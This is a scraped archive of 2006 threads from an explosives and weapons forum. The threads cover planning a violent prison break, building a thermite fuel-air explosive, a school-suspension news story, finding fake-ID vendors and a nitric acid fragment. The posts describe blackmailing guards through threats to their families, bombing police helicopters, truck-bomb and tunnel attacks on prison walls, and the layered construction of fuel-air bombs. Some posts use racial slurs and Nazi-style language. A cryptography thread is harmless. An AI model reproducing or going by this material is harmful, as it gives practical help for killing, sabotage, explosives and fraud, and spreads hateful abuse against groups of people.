been plugged. Bill brings the prisoner to the arranged drop off point, and leaves. Shortly afterwards, the prisoner is picked up.
The helicopters sitting on the helipads suddenly explode from bombs planted the night before.
Bob and Bill return home after their surgery to remove the plugs, and find their families safe and unharmed, while the prisoner
returns to his fight against the evil communist oppressors.
Nobody is killed (hence, no huge huge uproar), no bombs are needed (but they will be planted as backup) and the prisoner
escapes without pursuit, although everything is set up to stop that pursuit should it happen.

Chris, your god damn right. Hell, thats a good plan. The only forseeable problem would be finding out which officers is in the
right place at the right time to free the prisoner. Its all well and good to blackmail them, but if there is absolutely no way that
they can do what you ask, the whole situation is FUBAR. The bus driver or transport is probably stationed at the nearest town,
not at the facility itself.
Alas, my mind isn't devious enough, or perhaps deviant.

Ok, well, I know for a fact that most of the UK police helicopters are stationed at normal aerodromes (not military ones, just
your regular type), generally just a little bit out of the way of casual traffic. There was a gang that tried to take out the force
helicopter prior to a raid on a bank last year, but they failed to get both of them, so got caught.
I think that some form of anti-helicopter weapon or, at the very least, a telescope system to spot them, would be required. A
full power rifle round such as 7.62 will tear a hole through most helicopters without trouble, both sides. The main issue is the
range required, and next is the actual hitting of the target. Stopping them on the ground is a far better way to deal with it.
Of course, a UAV with a nice steel net attached would be great, if a little technical, as it would simply fly at the rotor system
and tangle itself, causing the whole helo to drop from the sky. Anti-aircraft missiles would be best, but procurement would be
somewhat tricky.
A nice trick would be to steal or turn the police helicopter, and have them fly in and snatch the prisoner for you... :-)
As for what do you have to do to end up in a supermax prison, or Gitmo, or the "supermax" UK police station in London, well it
doesn't seem like much any more. Certainly the people in this (http://news.independent.co.uk/uk/this_britain/
article625606.ece) this article are panicked.
http://news.independent.co.uk/europe/article717614.ece tells of the rendition saga, with 14 countries being accused of helping
the US to break international law by either helping or simply turning a blind eye to the CIA snatching people.

I think that akinrog is right... banking on guards loving their wives and wanting them to stay alive might be an hazardous
play. However putting the guards in a compromised position is a great idea. I think I mentioned it before but someone
becoming a guard and getting the inside scoop (and quitting or helping from the inside, either way) would be valuable.
Eliminating the helicopters (preferably by methods that aren't immediately obvious, since that could draw attention and backup
support) is a nice move.
Though I would hazard a guess that everytime you up the ante your opponent will as well. You might destroy the helicopters
and they might call in the national guard. That doesn't prevent anything, but it should be planned for. Particularly in light of
the emergency preparations that law enforcement has been making in light of recent events such as Hurricane Katrina/New
Orleans, Waco, 9/11 etc. You should bet on a more rapid reaction by well armed and trained forces with better organization
than we have seen in the past.

Of course, a UAV with a nice steel net attached would be great, if a little technical, as it would simply fly at the rotor system
and tangle itself, causing the whole helo to drop from the sky. Anti-aircraft missiles would be best, but procurement would be
somewhat tricky.
How about a rocket that bursts at a set distance to release the net, which then hits and brings down the heli. The net has
small weights on the ends, and the spin of the rocket spreads it out rapidly after the bursting charge goes off. Such a weapon
could offer accuracy as long as you got the rocket center around 25 feet from the heli, since if part of the net gets caught the
rest will get pulled in.
This is getting a little off topic and a little technical however.

The UAV is re-useable, slower (and so easier to steer) and costs less, plus doesn't contain a warhead, so is completely legal.
It could also have a camera in it, to loiter and give overhead info.
Alexires November 30th, 2006, 07:03 PM

Well, since we are already talking about prison, lets throw this one in as well.
Communication.
It would be essential in the prison break situation where the person on the inside needed to make their way to a pick up point
(think the movie Tango and Cash just without them getting out).
What do we know about those funny little cubicles that prisoners go to to talk to visitors?
I don't know how to describe them, but you see them in movies all the time. I'm assuming that all those conversations are
monitored, so the chances of getting a message in there (unless it was pre-arranged) would be minimal.
NBK, in the movies there is always some guy with connections to the outside that can get you stuff. Is that actually true, or is
there any other way to get info out? In the old days they used to fill a tennis ball with drugs and throw it over the wall of the
prison.
That is probably possible, but the problem is getting them ready for it.
Any ideas people?
nbk2000 November 30th, 2006, 08:27 PM

Funny you should have mentioned this subject, as I just posted to my Blog an article on this very subject! :)
Covert communication between a prisoner and his outside help.
As for 'fixers' in prison (like Morgan Freeman's character in the movie Shawshank Redemption, yes, they exist.
However...they're tied in with the guards, and they're also quite likely to snitch you off to keep their guard connection, so
they're best avoided.
Jacks Complete December 4th, 2006, 11:17 AM

Throwing stuff into the yard has been done for a long time. Most prisons now have two fences quite far apart to stop this, or at
least limit it a lot. The local prisons have either the big gap, or a wall that is so high you would have a heck of a time throwing
anything over it. (Yes, you could get it over, but you have no idea what is the other side!)
Open prisons in the UK now have cellphone sweeps, because so many of them get smuggled in and used by prisioners.
Nihilist December 5th, 2006, 04:24 AM

Funny you should have mentioned this subject, as I just posted to my Blog an article on this very subject! :)
I've noticed this blog of yours mentioned in your signature and now here, is it private or am I just too stupid to find the URL?

It's not private, it's just not linked too from here, for obvious reasons.
Alexires December 6th, 2006, 07:22 PM

Yeah, I know what you are saying Jacks, the prisons over here (that I have seen) have 2 fences.
But then again, a message in a tennis ball (or something heavier) fired from an air powered PVC spud-gun would work. A little
physics, a little testing and you would have a feasible way to send messages in.
Getting messages out is the problem. You could always smuggle some kind of 2-way radio in, but then again, it would
probably need to be encrypted or at least scrambled so that the guards can't listen in.
Otherwise, have a code worked out that you can use when you visit/are visited and then reply via tennis ball gun.
Otherwise, a model rocket might do it. Launch it high, and let it drop down into the complex.
While that sounds a little improbable, without research no one would know if it will work or not.
Any ideas?

Google maps will tell you what is the other side of the wall, of course. Sorry I didn't mention it before. Simple things will tell
you when prison movements are taking place. They are in the yard when the lights flash to stop entry to the yard by vehicles,
for instance, and audio will tell you when people are playing sports, for example.
I'd use something like Morse rather than voice, too, as it cannot be easily linked to anyone. Not that I know Morse code...
Ygarl December 18th, 2006, 02:32 PM

Destroying the entire prison outer perimeter might be the best thing. Make it all fall down.
Traditionally (i.e. Historically) there are a few ways to take down walls over a "certain size".
1) Explosives - difficult, dangerous and to be honest - very difficult on an assult-type attack. Carefully placing a series of
powerful HE shaped charges in key areas as a demolition team would do on a high-rise building.
The issue of course is that you need an intimate knowledge of the structural weaknesses of the wall and the placement and
size of the charges. Not something most people would be able to get a hold of on an improvizational basis.
The only realistic way to ensure an entire 10+ foot thick wall is destroyed would be a simeltaneous assault with several vehicles
full of explosives. Not an ideal thing for a non-suicidal group of attackers.
2) Sapping - Difficult, and time-consuming but definintely effective. Simply dig tunnels from a distance to the walls of the
structures in question, then place much smaller charges to collapse all the walls at once.
Even more effectively, support the walls from underneath with your own bracing and blow the lot at the same time. Issues here
are the large amount of man-power needed, and the need to get rid of a large amount of spoils at the other end of the
tunnels.
However, this has proved very effective in WW 1 - though these tunnels were used to place large amounts of what is
essentially ANFO under the German lines to disrupt enemy trenches. Wikipedia has a very interesting section on these mines
used several times.
However, sapping in this way goes back to pre-explosive times, when the supports under the walls would have been toppled
mechanically.
The only real dangers are detection and of course cave-ins.
However, tunnelling is a much safer option than trying to drive a fleet of trucks with 2 tons of ANFO up to the walls at the same
time... and trying to get away without getting vapourised! It also requires more mine-tunnelling knowledge, time and brute
force.
Other options are not feasible in the modern era - particularly with the need to take all the walls down at the same time with
complete surety. There's no real completely safe way to take down thousands of tons of wall reliably all at once - at least, not
without enough firepower to kill most of the inmates at the same time - including most of your rescuees.
Taking down one wall as a distraction by sapping is certainly much more rapid and attainable. You would obviously need only
sap a short section of wall - say 30 yards or so - to make a very noticable collapse indeed!
++++++++++++
Please use paragraph breaks in the future to make your posts more readable. NBK

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Therm ite Fuel Air Explosive
D e v i c e s a k a H e l l h o u n ds
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View Full Version : Thermite Fuel Air Explosive Devices aka Hellhounds
akinrog March 1st, 2006, 04:49 PM

Dear Friends,
Since I shall not provide new information, I'm strarting this thread in W ater Coole r section.
I'm currently on the trails of a Thermite Fuel Air Explosive Device alias Hellhound, which is claim e d t o b e u s e d d u r i n g V i e t n a m
war.
Unfortunately, I cannot find m uch information about this device except a few words in SM and some crude descriptions here in
RS under the thread entitled "KGB files"
The device, apart from being very cheap method of wreaking havoc (with its claim ed effective killin g radius of 100 yards -
a p p r o x i m ately 100 m eters), is quite sim plistic.
I suspect this is the device used by Ch echnian terrorists ten years (?) ago to dem o l i s h s o m e Russian buildings in Moscow
together with its inhabitants. Then I co uld not figure out what it was since news co verage of that time only said it was a type of
pipe bom b which in essence puzzled m e a lot since I wasn't aware of any pipe bom b which can bring down entire buildings.
I n a d d i t i o n , c l a i m e d t o b e u s e d d u r i n g V i e t n a m war, I cannot find any reference to this device on the net.
Anybody m a y h a p p e n t o h a v e s o m e i n fo on this (not the im provised one but the real one together with some design aspects)?
Regards
bipolar March 1st, 2006, 07:40 PM

This is the what I have known as a standard Fu el Air Explosive weapon. It is in this special forces d emolition instructors manual
I u s e d t o h a v e , a n d o t h e r b o o k s . B a s i c l y a s m all am m o unt of High Explo sive m aterial with a layer of thermite on top. O n top
of that is a p roportionaly bigger box or container of your fuel. This could either be flour, sawdust, or other powdered fuel, or
liquid fuel too. It was reffered to as HELLHO FTE fuel air explosive or something like that in these m a n u a l s .
From what I understand the concept is the high e x p l o s i v e d e t o n a t e s , a t t h e s a m e tim e ingiting the therm ite and dipersing it
with the fuel.
W hile the fuel m ay start to bu rn, everything happens so fast and the burning thermite is dispersed along with it and ignites
whenever the stoichio metric ratio is reached with the fuel and air and it explodes.
T h i s s a m e b a s i c c o n c e p t c a n b e m odified to put the design into a single device or warhead. Using a thin cylinder in the m idd le
containing th e HE, a slightly bigger one containing an outer layer or thermite. Then a much bigger cylinder around that to
contain the powdered fuel.
T h i s s a m e t e c h n i q u e i s a l s o u s e d f o r m a k i n g w h a t w a s r e f f e r e d t o a s a P O L(potro leum oil liquid) charge for distroying fuel

tanks from d rum s to larger industrial fuel tanks. This device is just an explosive charge with a laye r of therm i t e o n o n e s i d e .
You just attach it to a fuel drum a n d a n d d e t o n ate, and it uses the fuel in the tank as part of the explosion, turns it into an
FAE. You have to scale it up accordingly to the am mount of fuel in all cases.
These are very good for clearing a whole building and the negative pressure can cause it to collapse in som e circum stances if
the openings are closed. It has a huge destructive effect and a destructive vaccuum pressurewave from tak ing all of the
oxygen out of the air. If it is inside of a building m any people die from j u s t l a c k o f o x y g e n . I t c a n a l s o g o i n o p e n s p a c e s l i k e
wind ows of buildings from the outside or port holes of tanks or open windows of cars.
Hope this helps.
akinrog March 1st, 2006, 09:28 PM

From what I understand the concept is the high e x p l o s i v e d e t o n a t e s , a t t h e s a m e tim e ingiting the therm ite and dipersing it
with the fuel.
M a y b e y o u a r e r i g h t a b o u t a b o v e s t a t e m e n t a n d as I stated before, I cannot find any goo d references about the device.
However, tho se descriptions I could reach (e.g. in KGB files thread and SM) mention about reverse of what you describe.
I m ean according to those descriptions, first the thermite which is enclosed in a tube (which is also enclosed in a larger and
pressure resistant sealed tube, containing a liquid fuel), is ignited from one end and at th e other end (of the tube) there is an
explosive charge (typ ically flash powder). W hen the burning thermite reaches to the charge it sets it off which ruptures the
o u t e r t u b e a n d a e r e s o l i z e t h e s u p e r h e a t e d f u e l s i m u l t a n e o u s l y t h r o w i n g s o m e thermite slug into it thereby ensuring
aeresolized fuel to detonate.
To cut a long story short, it's probable that the device you described is som ething differen t from what I'm referring to or it's
only a myth. Regards.
j_dmillar March 17th, 2006, 09:51 PM

Do you need the explosive charge? W ould the pressurization of the fuel not be enough to rupture the vessel and disperse the
fuel?
Oh, while we're on the subject... can anyone he lp me on the physics of determ ining (calculation, not em pirically) the optium u m
dela y b e f o r e d e t o n a t i o n o f a f u e l - a i r e x p l o s i v e .
T h a t r e m i n d s m e... the problem in what you people speak of is that you don't have the delay - not mixed with air b y the tim e
it ignites, therefore slow flam e front, low thermal energy to overpress/shockwave efficiency. Or am I m i s s i n g s o m e t h i n g ?
bipolar March 18th, 2006, 04:10 AM

Do you need the explosive charge? W ould the pressurization of the fuel not be enough to rupture the vessel and disperse the
fuel?
W ell I am talking about powdered and liquid fu els, especially po wdered. (such as flour or sawdust) These a re not under
pressure.
Usin g the above method you don't need a delay. solid powder fuel such as flour or sawdust or liquid fuel won't explode without
a stoichiometric m ixture of fuel and oxygen. It will only ignite on surface area where oxygen is ava ilable.
The explosive instantly propels the fuel into the air at the same time dispursing burning thermite or therm ate along with it,
which will help it explode right when it reaches a stoichiometric m ixture. All of this happens in an in stant because of the high
explosive.
T h a t r e m i n d s m e... the problem in what you people speak of is that you don't have the delay - not mixed with air b y the tim e
it ignites, therefore slow flam e front, low thermal energy to overpress/shockwave efficiency. Or am I m i s s i n g s o m e t h i n g ?
So the fuel a ctually does ignite but this all takes place so fast because of the HE that the m ajority of it doesn't burn until
enough air is m ixed with it to explode.
There are other m eth ods of FAE's but I like this m e t h o d b e c a u s e i t ' s s i m p l e a n d e f f e c t i v e s o y o u d on't have to calculate the
optim um delay. The concept of the device take s care of that naturally.
nbk2000 April 17th, 2006, 05:00 AM

T h e r e ' s m e n t i o n o f a t h e r m o b aric 40m m a m m o called "Hellhound" in this article:
http://www.defensereview.com /article749.htm l
Not the sam e thing, of course, but sim ilar concept.
Judging by the picture, the improved lethal range for the non-thermobaric type is because the frag mentation case is actually
form ed into m any self-forging fragm ents the explosion, rather then using typical pre-mad e fragm e n t s l i k e b a l l b e a r i n g s .
There's a recent french patent that details the design, and it seems too sim ilar to be coincidence, I think.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > decrypting?
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View Full Version : decrypting?
FUTI March 2nd, 2006, 04:50 PM

Since this is subject I know absolutely nothing about...I had to come here in hope I will find somone who knows much about it. And I "wisely" choose water cooler to post
this.:o
The old WWII or even before decrypting routine where somewhere on the lines of language analysis like finding frequency of a letter in some language, then look up enough
encoded messages to find a frequency of a number/code that could be that one and through finding couple letters geting enough data to find an algoritam used for encryption
and decrypt messages. I think I had some file with frequency of letters appearance in english words - I will check and post it when I find it. Structure of messages has usually
certain structure (like to whom it is sent, where, when, message text body, from whom it originates etc.) that can also help. That is maybe the reason why using Navahoe
indians as cryptographers where very good idea for US in WWII - who would try to decrypt it using that poorly known language. Recently I found this site that can bring up
crunching of the coded messages one step closer - at least I saw it that way and if you think I'm wrong just hit me, I asked for it since I want to learn.:D
www.wordcount.org
Know I'm aware of the fact that there are ways to encode message in such way that won't give you one letter = one number relation but I'm not sure are they in common
use. :confused:
Also there is a way to make you "enemy" life hard by adding trash portion between paragraphs that your decrypting machine just cut-off at site while you would have to work
all of the message without knowing what part of it is just "bloody noise added to make your life miserable".:cool:
Some millitary systems like subs can't use the technics like the last one I described, because of the radio wavelength they use is restricting them for lenght of message in such
way that they use three letter codes for whole commands. Now this message look easier to crunch, but result without interpreter look like Zulu language.:rolleyes:
Anyway I wanted to ask would it be possible with the help of the frequency of letters in english language, and its word count to crack the PGP encoded english text? :) Looking
forward for your answers...this just spin-off the whole resistance/crackdown mania if you were asking ;).
nbk2000 March 11th, 2006, 02:57 AM

PGP is, as far is know,, unbroken. This by experts with supercomputers and an alphabet worth of letters behind their names. So breaking a PGP'd message isn't something you
need to worry about.
As for manual ciphers, the kind you can do by hand without the aid of a computer or other machine, those can be broken to varying degrees, given enough cipher text or guess
of probable word content. But there are messages unbroken to this day that were done by hand, since there aren't either of these things to get a 'wedge' into the cipher to
start working it open with.
I've scanned a book all about cryptanalysis of manual ciphers, current up till the late 40's, for the DVD (I know, I know...:rolleyes: ). Very useful for breaking your sisters diary
code. :p
Google search term that you'll find very helpful:
cryptanalysis "frequency count" english alphabet
Copy/paste the entire above line.
Also:
http://members.aol.com/jpeschel/historical.htm
A listing of free cryptanalysis tools for your computer to help break manual ciphers.
akinrog March 11th, 2006, 08:28 AM

Dear Futi,
As for the cyphering algorithms like PGP which use public key, private key pairs, these systems are not symple algorithms where you replace certain characters with certain
cypher characters to mingle the resulted encoded text for the purpose of rendering it illegible by the eavesdroppers.
Instead they are using computation-intensive mathematical algorithms which uses very (really very) large prime numbers and exponential calculations. Search for public key
algorithms on Google to find leads about this. HTH.

Thanks to both of you guys. I knew some of the facts you pointed me to, but some new have also appeared.
I had to ask this since I have a friend that is kind of computer guru, btu when it comes to privacy and computer programs his more paranoid then anyone on this forum. I knew
for a fact that he is using some version of PGP that belongs to the museum of computer program codes for that reason and keep claiming that due to the pressure that
goverment of USA used against the company that originaly made PGP all versions above some x.y are compromised in some way etc.
It is not directly linked with the way I proposed to crack the message of course, I just tried to heat the things up and see what will happend.;)
Meawoppl March 11th, 2006, 08:43 PM

I wouldn't worry about PGP's security. Lots of people, corporations, and governments put some very solid trust into it. I don't know who said it but good cryptography is like a
balloon, no matter how cleverley you put a hole in it it still deflates. Not to mention I am sure that there are open source algorithims that you can look at. The first person who
figures out how to break it stands to make a lot of money. . . :p
akinrog March 14th, 2006, 05:43 AM

Dear Futi,
Check the following link, it contains a lot of info about encryption (with C code samples too :) )
Link (http://rapidshare.de/files/8919742/Applied_Cryptography.pdf.html.html)
Regards

I'm sure that there are some really, really massive parallel processing systems using FPGAs that are used to bust PGP codes open. If you do the maths, you can work out that
they would do it in a few years. However, none of us are likely to draw that much heat down on himself, and such evidence would never be released at any normal trial due to
the "if you know they can read it you won't write it in public" factor. They have hundreds of thousands of PGP things to try to break every day, so they aren't likely to have
hammered your key open yet.
I would say that PGP does have a security "hole" (of a sort) in it. The commercial version allows your bosses to add a key so that they can also decrypt what you have written
without your key, so if you refuse to tell them stuff, they can still get it. This is, however, by design, and as long as you have control over your system, this won't be an issue
for you.
Going back to the OP, the first cyphers were simple substitution. A became C for example, and this was the "Caesar shift" cypher.
cdefghijklmnopqrstuvwxyzab
abcdefghijklmnopqrstuvwxyz
Simple to break even on a few hundred letters, especially when the whitespace and punctuation was left in! Just find a "the" or "A" or "I" and you are halfway there. (I
invented a non-alphanumeric version of it years ago with a grid, but it was no more secure, looking back.)
Later came the better idea of adding a keyword or some secret key to scramble the alphabet, rather than such a simple shift.
secrtkywodabfghijlmnpquvxz
abcdefghijklmnopqrstuvwxyz
This needs a little more work to break, since getting the first letters wouldn't give the whole story. The start could, of course, be offset too, but that wouldn't help much.
The next big innovation was to scroll the offset. This was a big deal, and for a while it meant that crypto was ahead of the breakers. What you did was have an array of
alphabets to choose from, rather than just one other. The offset changed with each encoding step, which meant that there was (effectively) a different cypher key alphabet for
*every* letter! However, letter frequency analysis got this one too, in the end, because the patterns weren't long enough for there to be no loops in the writing. Today, you
could make it massive with an infinite key, and hence secure, but you would still be stuck due to the key distribution problem.
Public Key (PK) crypto solved the key distribution issue. The key distribution issue is that I have to send you a key for you to encrypt the message. You need to share a secret.
That is great if I can have you pop round and pick up a disc or something, but if we have never met, and we assume someone is watching your email, how can I email you a
key to encrypt something without you (and hence anyone) being able to decrypt the message? Well, I could encrypt it, but that brings us back to the initial issue...
The answer (partly) is to use a non-returnable function, like modulus. If we use mod 10, we get a cute one way function. If the answer is 5, did I add 10, 20, 30, etc. to 5, or
did I add 1, 11, 21, etc. to 4? If the original number was 4, you can't know by working backwards from the answer. The other part of the answer is to use a massive prime
number, and the factorisation of it. Finding primes takes a while, and there are log(n) primes in n number space, so you never run out. If I give you a huge number, you can
either factorise it to find said primes, or look on a table. But you don't know what the big number is, nor one of the factors. You can't work backwards, you don't know enough!
So, you have an answer of 5, but you don't even know what modulus the answer was found out from, giving you no way back to the plaintext.
The most secure system is still the one-time pad. However, the re-use of a one-time pad makes it simple to break, as the two messages are subtracted to reveal the answer,
which is then removed from both messages. This reveals the answers in short order. It also leaves you with the distribution issue, which is huge for modern systems where you
might want to send 50k words every day, or 650Mb, and so need a 650Mb long one-time pad. Every day! (And you have to keep them all for decryption too!)
:-) I hope no-one's upset by my terrible descriptions! Add clarifications and corrections as needed.
Oh, I should also have added that there were many tricks used to make these things harder, like using another language first, hiding "of" as "v", removing whitespace,
regrouping the letters into 5's (or 4's, etc.), etc. but they just made it a bit harder, rather than actually stopping the attacks. There were also things like the "railfence" which
simply used maths to re-order the letters, scrambling them that way, and, of course, sometimes they were encoded once with one cypher then again with another!
Go play with http://members.aon.at/cipherclerk/CipherClerk.html and try breaking even some of the cleverer cyphers by using AAAAAAAAAAAAAAAAAA as the input, then
BBBBBBBBBBBBBBBBBBBBB, etc. and you can see the weaknesses right away on many of them. Try that with PGP and you get nowhere! (However, a girl in the far east has
recently broken MD5 and a few other modern cyphers by doing exactly this trick!)
nbk2000 April 22nd, 2006, 12:34 AM

Kryptos is a sculpture located on the grounds of CIA Headquarters in Langley, Virginia. Installed in 1990, its thousands of characters contain encrypted messages, of which three
have been solved (so far). There is still a fourth section at the bottom consisting of 97 or 98 characters which remains uncracked.
An interesting real-world application of cryptanalysis against competently enciphered messages.
http://www.elonka.com/kryptos/ (at the bottom)
FUTI April 24th, 2006, 09:54 AM

WOW!
Hats down to NBK for great link.
Special thanks to akinrog for a good book.
And to Jacks my deepest gratitude for deep analysis and explanation. I'm reading Harris's book Enigma just now so this thread created the atmosphere just fine...:D

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > School Regulations
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DirtyDan March 3rd, 2006, 02:41 AM

Normally, I sit back and ignore the infringements on freedom. I frolic with the sheepies and enjoy my safety. Things like not having access to certain chemicals and whatnot
does irritate the creative side of me, but with a little motivation that can all be overcome as well. There's a good and a bad to everything, right?
Link Here (http://hosted.ap.org/dynamic/stories/M/MYSPACE_SUSPENSIONS?SITE=7219&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2006-03-02-15-08-13)
Lately though I have been alerted to infringements that really make me rage. This is not the greatest example, but this most recently struck me. Myspace, the motherland of
the K3W75 and sheepies, has gotten many users suspended or expelled from their schools by exercising their free speech.
In this article, a Myspace user created a group entitled "I Hate (Name)." It also apparently contained some anti-Semitic comments and worst of all threats on her life.
Upon finding this, the school expelled the creator. Okay, I guess thats reasonable...
They also suspended 20 students who had VIEWED the posts. There might be more to the story, but for the love of Sam what is happening!
I once, if not more times, have had my life threatened in person. I ignored it, and although someone else reported it no punishment resulted. Truthfully, I do not really care.
Middle School kids generally are just kiddies with preteen fury.
Comments appreciated. Add your own examples as well.
Story found courtesy of Digg.com

(http://www.digg.com)
cyclonite4 March 3rd, 2006, 04:33 AM

It doesn't seem to say in the article if Myspace reported the students, or the school find out via access logs. I believe it was likely to be the latter.
I think expelling a student over something so small, is plain stupid. I mean, if there was certain evidence that he was planning to shotgun her to death, then it should be
investigated, but expelling a student over a hypothetical question?
Suspending the viewers is pretty unfair, as it doesn't necessarily reflect their opinions.
festergrump March 3rd, 2006, 05:17 AM

Kids are kids, and in this day and age, I don't think the idea of death really sinks in until at least the twenties...
She must have stolen some pokemon or dragonball Z cards for them to want to shoot her 1000 times in the head, huh?
School is a police state. Parents need to see what it's like because this is their future, too. (exchange expulsion for imprisonment and you see the future, for those who do not
so nice things... even on the internet).
Chris The Great March 3rd, 2006, 05:39 AM

Completely unrealted, but has anyone else seen the video version of Pink Floyd's The Wall? It has a great scene of the children burning down and destroying the school. Not
that this has anything to do with schools being like the government. None at all ;)
99% of teenagers these days are angsty shits who think they are a lot greater/tougher/better than they are. Most will grow up with the same illusions, since our society makes
it so you don't really have to grow up anymore.
The whole issue is pretty crazy, but look around you: this is getting be normal in the real world, not just school. Welcome to real life I guess. :mad:
Ropik March 3rd, 2006, 05:05 PM

Now that's scary! I didn't know that some school would expell someone for viewing something. If someone see a thread entitled "I hate *someone*", and views it, it doesn't
mean that he is going to shot *somebody* down. I think schools are going to hell in a handbasket if this is possible. Thank God this new, progressive approach didn't make it
here yet. I would be expelled several times over for viewing "strange internet forums inciting manufacture of explosives and various related crimes".
Now it looks like there are forums inciting "manufacture of crimes". Nevermind, you know what I mean.
explosive_boy March 4th, 2006, 01:00 AM

This stories makes me sick there is no reason they should have suspended those other students. Its a form of cencoring at schools near me whenever they had a problems with
a student doing soemthing liek that they would keep it a secret even from the parents.
me234 March 4th, 2006, 04:52 AM

I'm glad you guys are motivated about this stuff. And I appreciated and understand what you're all saying.
BUT, so far you guys have missed the point...
Yes it's bad that school children are getting into trouble for thought crime, but it's precisely the fact that it is school children that's the worst part...
The headmaster brings in the parents, tells them that their kid threatened a girls life, or that the kid was there and witnessed the threat and did nothing. They don't mention
that it was written on a computer, or that they had to track their children down. They then explain the gravity of the situation. They expel the kid who did the threatening.
Suspend everyone else.
the parents are eager to help, and are glad their kids where caught early, before anything bad happened - Fair enough, parents are supposed to worry.
BUT, how do kids learn things about life?
Through their parents actions, and through social interactions.
So, for the rest of there lives, all the kids involved in this incident have now "learnt" from their parents, and from their school that:
1 - They shouldn't threaten; talk about threatening; or maybe even not write in their diary's about threatening people.
2 - If they hear other people threatening someone, they either turn them in, or get into trouble with the person who actually did something. The idea of it is now very bad as
far as they're concerned, and they shouldn't even think about it, they could get into trouble after all.
3 - The people in charge (headmaster; whoever etc.) can and do trace and track people when something bad happens (only then, law-abiders have nothing to worry about,
they haven't done any thing after all, what does it matter if someone reads what they write?). This is to be accepted and expected, don't even bother thinking about it
anymore, they haven't thought about threatening anyone, they won't get into trouble.
4 - The people doing the tracking averted a tragic incident, thankfully they read that thing, tracked the culprit down, and got rid of him before he carried out his threat, phew!
The people reading my e-mails, listening in to my phone calls etc. are the good guys, they helped us out, I think it's a good thing that they carry on doing this: I didn't want
that girl to die after all.
So from now until the day they die they are brainwashed, they all think the above 4 points. Worse, they believe in those things now (can't even bring myself to call them
ideas, they are but things to me:mad: ).
And because everyone inadvertently becomes their parents, they will pass this manner of thinking onto their children one day. They'll probably even tell of how big brother
save this girl they knew in school once if their kids ask them: "why do they do these things, isn't it bad that we get listened in to?"
So from now on, there is an entire school of children who believes in these things (except maybe a hopeful few who think similarly to us - not identically of course, we want
individuals here!). They grow up and will spread out across the world, passing on their beliefs to their children, who will then grow up, and marry into a family that thinks like
us, have kids, and secretly indoctrinate them while the spouse who thinks like us is at work. In this way, they will spread and devour the world.
You guys see the point I'm getting at now?

How the media pushes these stories to the front page to indoctrinate the masses, show them how good big brother is, get them slowly used to the idea, and them get them to
want big brother.
Depressing isn't, more so than any book because it's actually happening, right before our minds (those of us who are awake enough to use ours), everyday.
It's all about brainwashing the masses while they're still impressionable.
Mr.Azo March 4th, 2006, 01:49 PM

It included an anti-Semitic reference. I think that was the factor that caused the punishment.
I'm sure that at least some of you have noticed the double standards of 'anti-Semitism' and the politically correct 'anti-White'-attitude?
The one who asked who would like to shoot the girl with a shotgun of course had the right to say what he said, but it should not come as a shock that he was suspended. After
all, we all know that the freedom of speech is gasping for its last breaths of air.
What *really* bothers me, is that the other students who merely viewed the messages, also got suspended. That's police state terror.
Also, the police are investigating the incident as a possible hate crime, so I would guess it were 'evil White racist kids' that are being 'disciplined'. Imagine an untermensch
harassing a white kid; would it then be investigated as a hate-crime? Would every other untermenschen that read the threats be suspended? Would the district try to expel
them? I doubt it.
Edit: Grammar
DirtyDan March 4th, 2006, 04:19 PM

I just thought of another scenario that made me laugh.
Have any of you ever played video games as a kid, on the internet, or watched someone else? There's a constant state of chaos as players call eachother niggars and chinks
and threaten to "kill" each other. I guess maybe that's figurative, but it's a similar Internet thought crime. :rolleyes:
That factor is what also scares me about those in power with super-critical views towards violent videogames. Someones surely already suggested more Internet policing of
free speech in chat rooms, video games, etc.
I guess the reason Myspace actually caused something to happen is because its so much easier to track. I sometimes fear technology.
Ropik March 4th, 2006, 04:24 PM

-White men harrasing Afroamericans, Asians or Latinoamericans are racists.
-Afroamericans harrasing whites are bad neighbours.
-Afroamericans harrasing Asians or Latinoamericans are making reasonable steps to protect integrity of their community.
I don't know who wrote this, but it's mostly true.
Yes, the "suspend everyone who viewed it" attitude is bothering me. If you are running down a street and shouting "Death to *name*, kill him, kill him, kill him", you can
expect at least questioning your saneness. Now I know that writing something on some forum isn't exactly the same as shouting it on a street(at least because they can't
arrest everybody who heard you, not yet), freedom of speech has it's limits, but punishing someone for reading something... ouch. George Orwell would be proud.
me234 March 7th, 2006, 01:07 AM

I get the feeling they won't ever ban all the violent games out there.
For those of you who've read it, in "1984" everybody under the states control was subjected to a "2 minutes hate" every day.
Basically, while on lunch break at work, everyone would gather around a TV screen and Big Brother would appear and give them details about the ongoing war with whoever,
then images of the war (IIRC) would be shown, and everyone would stand up and shout and scream at the screen for 2 minutes straight, then sit down and finish their lunch.
That's what video games do for our generation. How many people have you seen playing Quake or GTA or something violent or to do with crime for hours on end, and then
apologise the second they think they might have offended someone on the street? They take their motivation out on the games, and none is left for the real world.
As for thought crimes, what do you suppose conspiracy charges are?

Oh, and did you guys read the paper, they arrested some guy in England for "thinking about conspiracy to commit robbery". This was in connection with that big heist over
there the other day.
Isn't it great when they can arrest you because THEY thought that YOU thought...
Maybe we can argue that thinking I'm a criminal is a crime because they're thinking bad thoughts about me, therefore to arrest me because they think I thought something
would be illegal.
Could you imagine if this shit had happened in back when USA won its independence?

Yes me234 and it is almost touching how the goverments off all countries arrange the news on TV/newspaper etc. Leading news are about a war/earthquake/dissaster
somewhere wheather it has any effect on you and your country or not. It is all done in the matter of humanity and false moral, while the bottom line is to give the viewer/
reader an impresion "how good is the life in our country, look what is happening in the world, such wicked things are horrible etc." - If it bleedes it leads.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Fake ID inform a t i o n o n I R C
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transmitt March 3rd, 2006, 06:15 AM

There use to be #fakeid on dalnet, which m igrated to EFnet. They had a website at fakeid.ru. Are those guys still around? If
so, where have they m o v e d t o ?
Thanks,
transm itt
bond316 July 27th, 20 06, 02:0 5 AM

I heard they are still on dalnet but it's invite only (not 1 00% sure)
Bugger July 31st, 2006, 09:38 PM

D o e s a n y o n e h a v e d e f i n i t e i n f o r m ation about any genuine people offering international fake IDs on the internet, who they are
sure are not "stings" run by the Pigs or the CIA? It would probably have to be people in non-U.S.-influenced countries like
Russia, Belarus, Ukra ine, or Serbia, I would think.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > double salts
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explosive_boy March 5th, 2006, 12:47 AM

Dilute 10.1 m l of nitric acid (red fum ing) with 6.75 m l of water.
